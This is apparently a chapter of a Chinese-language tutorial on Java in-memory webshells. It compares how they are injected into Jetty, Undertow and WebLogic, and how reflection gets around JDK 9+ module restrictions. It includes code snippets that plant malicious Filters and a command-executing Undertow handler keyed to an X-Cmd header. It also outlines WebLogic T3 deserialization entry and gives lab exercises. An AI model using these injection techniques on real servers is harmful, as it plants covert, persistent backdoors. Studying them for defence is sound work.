内存马 - 08 中间件差异与高版本JDK

前面所有章节都以 Tomcat 为例。实战中还会遇到 Jetty、WebLogic、JBoss、Undertow 等,以及 JDK 9+ 模块系统带来的限制

中间件内存马差异全景

维度 Tomcat Jetty Undertow WebLogic
Context 类 StandardContext WebAppContext DeploymentInfo WebAppServletContext
Filter 管理 FilterDef + FilterMap FilterHolder + FilterMapping FilterInfo FilterManager
获取上下文 反射 request.getContext() handler.getServletContext() DeploymentManager 反射
Pipeline 机制 Valve Handler Chain HttpHandler Chain
复杂度 较高

Jetty 内存马

Jetty 架构

1
2
3
4
5
6
7
8
Server
└── Connector
└── Handler (Handler 链,类似 Tomcat 的 Valve)
└── WebAppContext (类似 StandardContext)
└── ServletHandler
├── FilterHolder[] (Filter 定义)
├── FilterMapping[] (Filter 映射)
└── ServletHolder[] (Servlet 定义)

Filter 型注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
// 获取 WebAppContext
WebAppClassLoader classLoader =
(WebAppClassLoader) Thread.currentThread().getContextClassLoader();
WebAppContext webAppContext = (WebAppContext) classLoader.getContext();

// 获取 ServletHandler
ServletHandler servletHandler = webAppContext.getServletHandler();

// 创建 FilterHolder
FilterHolder filterHolder = new FilterHolder(new Filter() { /* 恶意逻辑 */ });
filterHolder.setName("evilFilter");

// 创建 FilterMapping
FilterMapping filterMapping = new FilterMapping();
filterMapping.setFilterName("evilFilter");
filterMapping.setPathSpecs(new String[]{"/*"});

// 注入到 ServletHandler(Jetty 用数组而不是 List)
FilterHolder[] existingFilters = servletHandler.getFilters();
FilterHolder[] newFilters = new FilterHolder[existingFilters.length + 1];
newFilters[0] = filterHolder;
System.arraycopy(existingFilters, 0, newFilters, 1, existingFilters.length);

// 通过反射设置
Field filtersField = ServletHandler.class.getDeclaredField("_filters");
filtersField.setAccessible(true);
filtersField.set(servletHandler, newFilters);
// FilterMapping 同理

Undertow 内存马(Spring Boot / WildFly)

Undertow 不使用 Servlet 规范的内部实现,而是有自己的 Handler 链

注入思路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
// 获取 DeploymentImpl
ServletRequestContext src = (ServletRequestContext)
request.getAttribute("io.undertow.servlet.request.context");
DeploymentImpl deployment = (DeploymentImpl) src.getDeployment();

// 获取外层 Handler 并插入自定义 Handler
Field initialHandlerField = deployment.getClass()
.getDeclaredField("initialHandler");
initialHandlerField.setAccessible(true);
HttpHandler originalHandler =
(HttpHandler) initialHandlerField.get(deployment);

// 包装原始 Handler
HttpHandler evilHandler = exchange -> {
String cmd = exchange.getRequestHeaders().getFirst("X-Cmd");
if (cmd != null) {
// 执行命令并返回结果
exchange.getResponseSender().send(output);
return;
}
originalHandler.handleRequest(exchange);
};

initialHandlerField.set(deployment, evilHandler);

WebLogic 内存马

WebLogic 特殊性

  1. 类加载器极其复杂(多层嵌套)
  2. 内部 API 与 Tomcat 完全不同
  3. 序列化漏洞较多(T3/IIOP 协议)
  4. 企业环境使用较多

利用流程

1
2
3
4
5
6
7
WebLogic T3 协议 → 反序列化漏洞 → 获得代码执行

从线程中找到 WebAppServletContext

注入 Filter 型内存马

通过 HTTP 端口通信(比 T3 更隐蔽)

JDK 高版本限制与绕过

JDK 9+ 模块系统(JPMS)的影响

1
2
3
4
JDK 8:   field.setAccessible(true)  → 一切正常
JDK 9+: field.setAccessible(true) → 可能抛出 InaccessibleObjectException
JDK 16+: 默认强封装,--illegal-access 选项被移除
JDK 17+: 完全强封装

绕过方案

方案1:Unsafe

1
2
3
4
5
6
7
8
9
10
// sun.misc.Unsafe 在高版本 JDK 中仍然可用
Field unsafeField = Unsafe.class.getDeclaredField("theUnsafe");
unsafeField.setAccessible(true);
Unsafe unsafe = (Unsafe) unsafeField.get(null);

// 使用 Unsafe 读写字段(绕过访问检查)
long offset = unsafe.objectFieldOffset(
targetClass.getDeclaredField("privateField"));
Object value = unsafe.getObject(targetObj, offset);
unsafe.putObject(targetObj, offset, newValue);

方案2:MethodHandles.Lookup

1
2
3
4
5
6
7
8
9
10
// 利用 Unsafe 构造一个 TRUSTED Lookup
Field implLookupField = MethodHandles.Lookup.class
.getDeclaredField("IMPL_LOOKUP");
long offset = unsafe.staticFieldOffset(implLookupField);
MethodHandles.Lookup lookup = (MethodHandles.Lookup)
unsafe.getObject(MethodHandles.Lookup.class, offset);

// 使用 TRUSTED Lookup 获取任意字段/方法的访问权
VarHandle varHandle = lookup.findVarHandle(
targetClass, "privateField", fieldType);

方案3:–add-opens JVM 参数

1
2
3
java --add-opens java.base/java.lang=ALL-UNNAMED \
--add-opens java.base/java.lang.reflect=ALL-UNNAMED \
-jar app.jar

方案4:Java Agent(最彻底)

Agent 不受模块系统限制,拥有最高权限

在高版本 JDK 中,Agent 型内存马反而成为最可靠的方案

Jakarta EE 命名空间变更(Tomcat 10+)

变更内容

1
2
javax.servlet.* jakarta.servlet.*
javax.websocket.* jakarta.websocket.*

兼容方案

1
2
3
4
5
6
7
8
boolean isJakarta;
try {
Class.forName("jakarta.servlet.Filter");
isJakarta = true;
} catch (ClassNotFoundException e) {
isJakarta = false;
}
// 根据命名空间选择不同的注入逻辑

各中间件内存马速查表

中间件 获取上下文 Filter 注入 Agent 可用 主要漏洞入口
Tomcat 8/9 StandardContext FilterDef+FilterMap 反序列化/文件上传
Tomcat 10+ StandardContext 同上(Jakarta) 同上
Jetty 9/10 WebAppContext FilterHolder 反序列化
Undertow DeploymentImpl HttpHandler 反序列化
WebLogic WebAppServletContext FilterManager T3/IIOP 反序列化
JBoss/WildFly Undertow(新版) 同 Undertow JMX/反序列化
GlassFish WebModule StandardContext(内嵌) 反序列化

练习

  1. 在 Spring Boot 中切换内嵌容器为 Jetty,验证 Tomcat 内存马代码是否可用
  2. 使用 JDK 17 运行靶场,观察哪些反射操作被阻止
  3. 尝试使用 Unsafe 绕过 JDK 17 的模块系统限制
  4. 编写一个兼容 javax/jakarta 两种命名空间的 Filter 型内存马

上一章 目录 下一章
07-通信加密与隧道 内存马 09-持久化与实战串联